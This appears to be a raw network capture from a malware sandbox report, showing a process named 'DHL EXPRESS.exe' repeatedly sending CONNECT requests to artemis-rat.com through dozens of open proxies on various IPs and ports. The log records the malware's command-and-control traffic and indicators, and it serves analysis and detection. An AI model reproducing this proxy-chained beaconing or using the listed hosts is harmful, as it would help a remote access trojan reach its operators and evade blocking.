Mar 11, 2024 18:36:49.020836115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.051774025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.206628084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206721067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.206456900 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.206293106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:25.206399918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
925	192.168.2.8	52783	104.19.171.188	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.022383928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.179594994 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
926	192.168.2.8	52717	158.51.210.75	7777	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.027827024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
927	192.168.2.8	52714	107.175.37.178	43029	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.039093971 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
928	192.168.2.8	52682	35.79.120.242	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.043462992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.312927008 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 17:36:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
929	192.168.2.8	52651	193.239.58.92	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.052573919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
930	192.168.2.8	52715	98.170.57.249	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.054058075 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
931	192.168.2.8	50785	180.191.254.130	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.102981091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.153559923 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
932	192.168.2.8	52640	116.106.105.55	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.102989912 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
933	192.168.2.8	52266	132.148.16.169	55610	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.103003025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.206507921 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.207061052 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.206717014 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.206442118 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.206357956 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
934	192.168.2.8	52754	98.162.25.7	31653	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.106626034 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
935	192.168.2.8	52665	152.32.130.117	18080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.107323885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
936	192.168.2.8	52677	110.12.211.140	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.107335091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
937	192.168.2.8	52705	34.64.4.27	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.107476950 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.508167028 CET	1286	IN	HTTP/1.1 405 Method Not Allowed Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1592 Date: Mon, 11 Mar 2024 17:36:49 GMT Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 28 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 405 (Method Not Allowed)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen
Mar 11, 2024 18:36:49.508182049 CET	489	IN	Data Raw: 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 Data Ascii: and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </styl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
938	192.168.2.8	52679	121.66.198.76	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.113507032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
939	192.168.2.8	52096	212.31.100.138	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.114442110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
940	192.168.2.8	52608	202.40.181.220	31247	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.116275072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
941	192.168.2.8	52798	104.16.25.216	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.116276979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.270622969 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
942	192.168.2.8	52664	202.179.184.44	5430	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.117280960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
943	192.168.2.8	50703	115.243.142.185	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.117505074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
944	192.168.2.8	52733	23.137.248.197	8888	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.118280888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.411108017 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
945	192.168.2.8	50903	217.21.148.50	33192	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.118280888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
946	192.168.2.8	52240	98.170.57.231	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.122579098 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
947	192.168.2.8	52769	43.163.192.3	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.123054981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
948	192.168.2.8	52689	188.166.186.145	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.123285055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.469444036 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
949	192.168.2.8	52734	34.95.243.122	8081	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.128796101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.909358025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
950	192.168.2.8	52270	189.240.60.171	9090	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.135035992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:49.425996065 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
951	192.168.2.8	50932	103.75.96.70	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.144543886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.338043928 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
